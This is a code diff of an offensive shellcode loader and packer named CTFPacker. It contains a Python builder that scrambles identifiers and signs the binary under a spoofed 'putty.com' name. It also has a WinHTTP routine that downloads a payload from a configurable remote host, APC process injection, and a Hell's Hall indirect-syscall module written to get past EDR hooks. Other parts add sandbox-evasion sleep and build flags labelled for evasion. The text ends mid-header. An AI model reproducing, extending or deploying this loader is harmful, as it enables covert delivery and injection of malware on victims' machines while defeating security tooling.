"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
|
||||
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
|
||||
scrambled_functions = []
|
||||
|
||||
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
|
||||
scrambled_variables = []
|
||||
|
||||
alphabet = list("abcdefghijklmnopqrstuvwxyz")
|
||||
used_combos = set()
|
||||
|
||||
# Scrambling the functions
|
||||
for sign in functions + variables:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
while (letter, multiplier) in used_combos:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
used_combos.add((letter, multiplier))
|
||||
scrambled_sign = letter * multiplier
|
||||
|
||||
if sign in functions:
|
||||
scrambled_functions.append(scrambled_sign)
|
||||
else:
|
||||
scrambled_variables.append(scrambled_sign)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "HashStringDjb2A" in data[i]:
|
||||
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
|
||||
if "GetProcAddressH" in data[i]:
|
||||
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
|
||||
if "GetModuleHandleH" in data[i]:
|
||||
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
|
||||
if "MapNtdll" in data[i]:
|
||||
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
|
||||
if "Unhook" in data[i]:
|
||||
data[i] = data[i].replace("Unhook", scrambled_functions[4])
|
||||
if "AES_DecryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
|
||||
if "AES_DecryptBuffer" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
|
||||
if "CreateSuspendedProcess" in data[i]:
|
||||
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
|
||||
if "APCInjection" in data[i]:
|
||||
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
|
||||
if "cDAPSu" in data[i]:
|
||||
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
|
||||
if "cCPAu" in data[i]:
|
||||
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
|
||||
if "aes_k" in data[i]:
|
||||
data[i] = data[i].replace("aes_k", scrambled_functions[11])
|
||||
if "aes_i" in data[i]:
|
||||
data[i] = data[i].replace("aes_i", scrambled_functions[12])
|
||||
if "AES_Decrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
|
||||
if "AES_Encrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
|
||||
if "AES_EncryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
|
||||
if "NTAVM" in data[i]:
|
||||
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
|
||||
if "NTPVM" in data[i]:
|
||||
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
|
||||
if "NTWVM" in data[i]:
|
||||
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
|
||||
if "NTQAT" in data[i]:
|
||||
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
# Modifying the main.c file
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}/{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "sEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
|
||||
if "pEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
|
||||
if "pClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
|
||||
if "ctx" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
|
||||
if "hProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
|
||||
if "pProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
|
||||
if "dwSizeOfClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
|
||||
if "dwOldProtect" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
|
||||
if "dwProcessId" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
|
||||
if "payload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
|
||||
|
||||
with open(f"{dst_directory}/{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green("[+] Loader scrambled !"))
|
||||
|
||||
|
||||
if args.format is None or args.format == "EXE":
|
||||
if args.pfx:
|
||||
|
||||
print(Colors.green("[i] Signing selected."))
|
||||
print(Colors.light_yellow("[+] Signing the loader..."))
|
||||
|
||||
if args.pfx is not None:
|
||||
pfx_path = args.pfx
|
||||
else:
|
||||
print(Colors.red("[!] PFX file not found"))
|
||||
sys.exit(1)
|
||||
|
||||
if args.pfx_password:
|
||||
pfx_password = args.pfx_password
|
||||
else:
|
||||
print(Colors.red("[!] PFX password not provided"))
|
||||
sys.exit(1)
|
||||
|
||||
input_binary = "ctfloader.exe"
|
||||
signed_binary = "ctfloader_signed.exe"
|
||||
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
|
||||
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
if os.path.exists("ctfloader_signed.exe"):
|
||||
os.remove("ctfloader_signed.exe")
|
||||
|
||||
subprocess.run([
|
||||
f"osslsigncode",
|
||||
"sign",
|
||||
"-pkcs12", pfx_path,
|
||||
"-pass", pfx_password,
|
||||
"-n", "Signed Loader",
|
||||
"-i", "https://putty.com",
|
||||
"-t", "http://timestamp.sectigo.com",
|
||||
"-in", input_binary,
|
||||
"-out", signed_binary
|
||||
], check=True)
|
||||
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader signed !"))
|
||||
|
||||
else:
|
||||
|
||||
# Everything has been modified, we can now compile the loader
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if args.format == "DLL":
|
||||
|
||||
print(Colors.green("[i] DLL format selected."))
|
||||
|
||||
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
colorama==0.4.6
|
||||
pycryptodome==3.20.0
|
||||
pycryptodome
|
||||
PyQt6>=6.6.0
|
||||
setuptools
|
||||
|
||||
+11
-6
@@ -11,21 +11,26 @@ setup(
|
||||
author_email='contact@mochabyte.xyz',
|
||||
maintainer='mochabyte0x',
|
||||
license='MIT',
|
||||
install_requires=['colorama',
|
||||
'pycryptodome'],
|
||||
py_modules=['main'],
|
||||
install_requires=['colorama',
|
||||
'pycryptodome',
|
||||
'PyQt6>=6.6.0'],
|
||||
py_modules=['main', 'gui_main'],
|
||||
include_package_data=True,
|
||||
packages=find_packages(),
|
||||
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'],
|
||||
package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'],
|
||||
'templates': [
|
||||
'stageless/*',
|
||||
'stageless/*',
|
||||
'staged/*'
|
||||
]
|
||||
],
|
||||
'gui': ['assets/*'],
|
||||
},
|
||||
entry_points={
|
||||
'console_scripts': [
|
||||
'ctfpacker=main:main'
|
||||
],
|
||||
'gui_scripts': [
|
||||
'ctfpacker-gui=gui.app:run_gui'
|
||||
],
|
||||
},
|
||||
platforms=['Linux']
|
||||
)
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
###############################################################################
|
||||
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
|
||||
# Makefile for Clang (MinGW) cross-compiling from Linux
|
||||
# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm)
|
||||
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
|
||||
###############################################################################
|
||||
|
||||
@@ -8,15 +9,29 @@
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
.SUFFIXES:
|
||||
|
||||
|
||||
TARGET_TRIPLE ?= x86_64-w64-mingw32
|
||||
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
|
||||
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
|
||||
|
||||
# MinGW‑w64 include / lib helper paths (auto‑detect the GCC win32 subtree)
|
||||
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1)
|
||||
INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include
|
||||
INCLUDE := -I$(INCLUDE_DIR)
|
||||
LIBPATH := -L$(GCC_WIN32_PATH)
|
||||
# Parallel jobs — use all available cores (override with: make JOBS=N)
|
||||
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
|
||||
MAKEFLAGS += -j$(JOBS)
|
||||
|
||||
# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ───────────────────────
|
||||
MINGW_SYSROOT := /usr/$(TARGET_TRIPLE)
|
||||
INCLUDE_DIR := $(MINGW_SYSROOT)/include
|
||||
MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib
|
||||
INCLUDE := -I$(INCLUDE_DIR)
|
||||
|
||||
# GCC runtime libs (libgcc.a, libmingwex.a …).
|
||||
# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent
|
||||
# (e.g. llvm-mingw-only setups).
|
||||
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1)
|
||||
ifeq ($(GCC_WIN32_PATH),)
|
||||
GCC_WIN32_PATH := $(MINGW_LIB_DIR)
|
||||
endif
|
||||
|
||||
# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …)
|
||||
LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR)
|
||||
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 2. Build format selector (EXE is default)
|
||||
@@ -27,11 +42,13 @@ FORMAT ?= EXE # { EXE | DLL }
|
||||
# 3. Source files
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
COMMON_SRCS := \
|
||||
api_hashing.c \
|
||||
api_hashing.c \
|
||||
download.c \
|
||||
inject.c \
|
||||
unhook.c \
|
||||
whispers.c
|
||||
hellhall.c \
|
||||
sandbox.c \
|
||||
trampoline.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
@@ -60,8 +77,12 @@ ASFLAGS := -f win64
|
||||
# Baseline flags from the original CTFPacker Makefile:
|
||||
# -O0 -Wall -w -fms-extensions -fdeclspec -static
|
||||
# We keep them intact so behaviour matches the pre‑DLL build.
|
||||
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static
|
||||
LDFLAGS_BASE := -Wl,--disable-auto-import -s
|
||||
# Hardening flags for evasion and binary optimization
|
||||
HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \
|
||||
-ffunction-sections -fdata-sections -Wl,--gc-sections
|
||||
|
||||
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS)
|
||||
LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows
|
||||
LIBS := -lwinhttp -lntdll
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
@@ -76,15 +97,27 @@ endif
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 6. Phony targets
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
.PHONY: all exe dll clean
|
||||
.PHONY: all exe dll clean check
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
exe:
|
||||
$(MAKE) FORMAT=EXE
|
||||
$(MAKE) FORMAT=EXE JOBS=$(JOBS)
|
||||
|
||||
dll:
|
||||
$(MAKE) FORMAT=DLL
|
||||
$(MAKE) FORMAT=DLL JOBS=$(JOBS)
|
||||
|
||||
# ── Toolchain sanity check ────────────────────────────────────────────────────
|
||||
check:
|
||||
@echo "[*] Checking required tools..."
|
||||
@command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; }
|
||||
@command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; }
|
||||
@command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; }
|
||||
@command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; }
|
||||
@test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; }
|
||||
@test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; }
|
||||
@test -f "$(MINGW_LIB_DIR)/libwinhttp.a" || { echo "[-] libwinhttp.a not found in $(MINGW_LIB_DIR) — install mingw-w64"; exit 1; }
|
||||
@echo "[+] All tools OK (jobs=$(JOBS))"
|
||||
|
||||
# ───────────────────────────────────────────────────────────────────────────────
|
||||
# 7. Linking & compilation rules
|
||||
|
||||
@@ -14,6 +14,8 @@
|
||||
#define IP L"#-IP_VALUE-#" // Changable
|
||||
#define PORT #-PORT_VALUE-# // Changable
|
||||
#define PATH L"#-PATH_VALUE-#" // Changable
|
||||
#define USE_HTTPS #-USE_HTTPS-# // 1 for HTTPS, 0 for HTTP
|
||||
#define USER_AGENT L"#-USER_AGENT-#"
|
||||
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
|
||||
@@ -30,7 +32,7 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
|
||||
|
||||
// First opening an internet session
|
||||
hSession = WinHttpOpen(
|
||||
L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536",
|
||||
USER_AGENT,
|
||||
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS,
|
||||
@@ -54,8 +56,12 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Creating the HTTP request
|
||||
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE);
|
||||
// Creating the HTTP/HTTPS request
|
||||
DWORD dwFlags = WINHTTP_FLAG_ESCAPE_DISABLE;
|
||||
if (USE_HTTPS) {
|
||||
dwFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
|
||||
|
||||
// Checking again
|
||||
if (hRequest == NULL) {
|
||||
|
||||
@@ -1,14 +1,20 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// API Hashing Part
|
||||
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
|
||||
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
|
||||
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
|
||||
|
||||
// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration
|
||||
#define JITTER_SLEEP(ms) \
|
||||
WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1))))
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
/*
|
||||
* hellhall.c
|
||||
*
|
||||
* Hell's Hall indirect syscall implementation.
|
||||
* Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM.
|
||||
*
|
||||
* Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT
|
||||
* are exported with identical signatures.
|
||||
*
|
||||
* How it works:
|
||||
* 1. Walk the PEB InMemoryOrderModuleList to find ntdll base.
|
||||
* 2. Enumerate the export directory; for each export, CRC32b-hash the name.
|
||||
* 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX,<SSN>"
|
||||
* to extract the syscall number (works even on hooked stubs).
|
||||
* 4. Find the nearest "syscall" (0F 05) instruction within the stub.
|
||||
* 5. SetConfig(SSN, &syscall_instr) stores both in .data globals.
|
||||
* 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr]
|
||||
* — execution resurfaces inside ntdll, making call stacks look legitimate.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "hellhall.h"
|
||||
#include "structs.h"
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Internal ntdll export-table context (populated once) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef struct _HH_NTDLL {
|
||||
PBYTE pBase;
|
||||
PIMAGE_DOS_HEADER pDos;
|
||||
PIMAGE_NT_HEADERS pNt;
|
||||
PIMAGE_EXPORT_DIRECTORY pExp;
|
||||
PDWORD pdwFunctions;
|
||||
PDWORD pdwNames;
|
||||
PWORD pwOrdinals;
|
||||
} HH_NTDLL;
|
||||
|
||||
static HH_NTDLL gNtdll = { 0 };
|
||||
|
||||
/* Per-syscall cache — resolved once; avoids repeated export-table scans */
|
||||
typedef struct _HH_CACHE {
|
||||
SysFunc NtAllocateVirtualMemory;
|
||||
SysFunc NtProtectVirtualMemory;
|
||||
SysFunc NtWriteVirtualMemory;
|
||||
SysFunc NtQueueApcThread;
|
||||
} HH_CACHE;
|
||||
|
||||
static HH_CACHE gCache = { 0 };
|
||||
static BOOL gReady = FALSE;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* CRC32b */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
hh_u32 HH_Crc32b(const hh_u8 *str)
|
||||
{
|
||||
hh_u32 crc = 0xFFFFFFFFu;
|
||||
int i = 0;
|
||||
while (str[i]) {
|
||||
hh_u32 byte = (hh_u32)str[i];
|
||||
crc ^= byte;
|
||||
for (int j = 7; j >= 0; j--) {
|
||||
hh_u32 mask = (hh_u32)(-(int)(crc & 1u));
|
||||
crc = (crc >> 1) ^ (HH_SEED & mask);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return ~crc;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Populate ntdll export-table pointers (once) */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitNtdll(VOID)
|
||||
{
|
||||
if (gNtdll.pBase) return TRUE;
|
||||
|
||||
/* Walk PEB -> LDR InMemoryOrderModuleList:
|
||||
* [1] = the process image itself
|
||||
* [2] = ntdll.dll (always second in InMemoryOrder)
|
||||
*
|
||||
* Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1]
|
||||
* .Flink -> InMemoryOrderLinks of entry[2] (ntdll)
|
||||
* - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10)
|
||||
* ->DllBase -> ntdll image base
|
||||
*/
|
||||
PPEB pPeb = (PPEB)__readgsqword(0x60);
|
||||
if (!pPeb) return FALSE;
|
||||
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(
|
||||
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
|
||||
if (!pDte) return FALSE;
|
||||
|
||||
gNtdll.pBase = (PBYTE)pDte->DllBase;
|
||||
if (!gNtdll.pBase) return FALSE;
|
||||
|
||||
gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase;
|
||||
if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
|
||||
|
||||
gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew);
|
||||
if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
|
||||
|
||||
gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase +
|
||||
gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE;
|
||||
|
||||
gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions);
|
||||
gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames);
|
||||
gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Resolve SSN + indirect syscall address for one NT function */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF)
|
||||
{
|
||||
if (!uHash || !psF) return FALSE;
|
||||
if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE;
|
||||
|
||||
RtlSecureZeroMemory(psF, sizeof(SysFunc));
|
||||
|
||||
for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) {
|
||||
CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]);
|
||||
|
||||
if (HH_Crc32b((hh_u8 *)name) != uHash)
|
||||
continue;
|
||||
|
||||
psF->uHash = uHash;
|
||||
psF->pAddress = (PBYTE)(gNtdll.pBase +
|
||||
gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]);
|
||||
|
||||
/* Scan stub body for:
|
||||
* 4C 8B D1 mov r10, rcx
|
||||
* B8 lo hi 00 00 mov eax, <SSN>
|
||||
*
|
||||
* Works even when the first few bytes are hooked/patched, because
|
||||
* EDR hooks typically only overwrite the first 5-10 bytes (the jmp).
|
||||
*/
|
||||
for (DWORD j = 0; j < 0x50; j++) {
|
||||
/* Hit a ret before finding the pattern — stub is trampolined oddly */
|
||||
if (*((PBYTE)psF->pAddress + j) == 0xC3)
|
||||
return FALSE;
|
||||
|
||||
if (*((PBYTE)psF->pAddress + j + 0) == 0x4C &&
|
||||
*((PBYTE)psF->pAddress + j + 1) == 0x8B &&
|
||||
*((PBYTE)psF->pAddress + j + 2) == 0xD1 &&
|
||||
*((PBYTE)psF->pAddress + j + 3) == 0xB8)
|
||||
{
|
||||
BYTE lo = *((PBYTE)psF->pAddress + j + 4);
|
||||
BYTE hi = *((PBYTE)psF->pAddress + j + 5);
|
||||
psF->wSSN = (WORD)((hi << 8) | lo);
|
||||
|
||||
/* Find the nearest 'syscall' (0F 05) instruction */
|
||||
for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) {
|
||||
if (*((PBYTE)psF->pAddress + j + z) == 0x0F &&
|
||||
*((PBYTE)psF->pAddress + j + x) == 0x05)
|
||||
{
|
||||
psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* One-time init — resolve all 4 syscalls and cache */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
BOOL HH_Initialize(VOID)
|
||||
{
|
||||
if (gReady) return TRUE;
|
||||
|
||||
RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE));
|
||||
|
||||
if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE;
|
||||
if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE;
|
||||
|
||||
gReady = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
|
||||
NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType, IN ULONG Protect)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtAllocateVirtualMemory);
|
||||
return HellHall_NtAVM(ProcessHandle, BaseAddress,
|
||||
ZeroBits, RegionSize, AllocationType, Protect);
|
||||
}
|
||||
|
||||
NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtProtectVirtualMemory);
|
||||
return HellHall_NtPVM(ProcessHandle, BaseAddress,
|
||||
RegionSize, NewProtect, OldProtect);
|
||||
}
|
||||
|
||||
NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
|
||||
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtWriteVirtualMemory);
|
||||
return HellHall_NtWVM(ProcessHandle, BaseAddress,
|
||||
Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
|
||||
}
|
||||
|
||||
NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3)
|
||||
{
|
||||
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
|
||||
SYSCALL(gCache.NtQueueApcThread);
|
||||
return HellHall_NtQAT(ThreadHandle, ApcRoutine,
|
||||
ApcArgument1, ApcArgument2, ApcArgument3);
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
/*
|
||||
* hellhall.h
|
||||
*
|
||||
* Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction
|
||||
* trampoline. Adapted from Hell's Hall (MalDevAcademy).
|
||||
*
|
||||
* Drop-in replacement for SysWhispers3.
|
||||
* Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* Primitive types used internally */
|
||||
/* -------------------------------------------------------------------------- */
|
||||
typedef unsigned char hh_u8;
|
||||
typedef unsigned int hh_u32;
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */
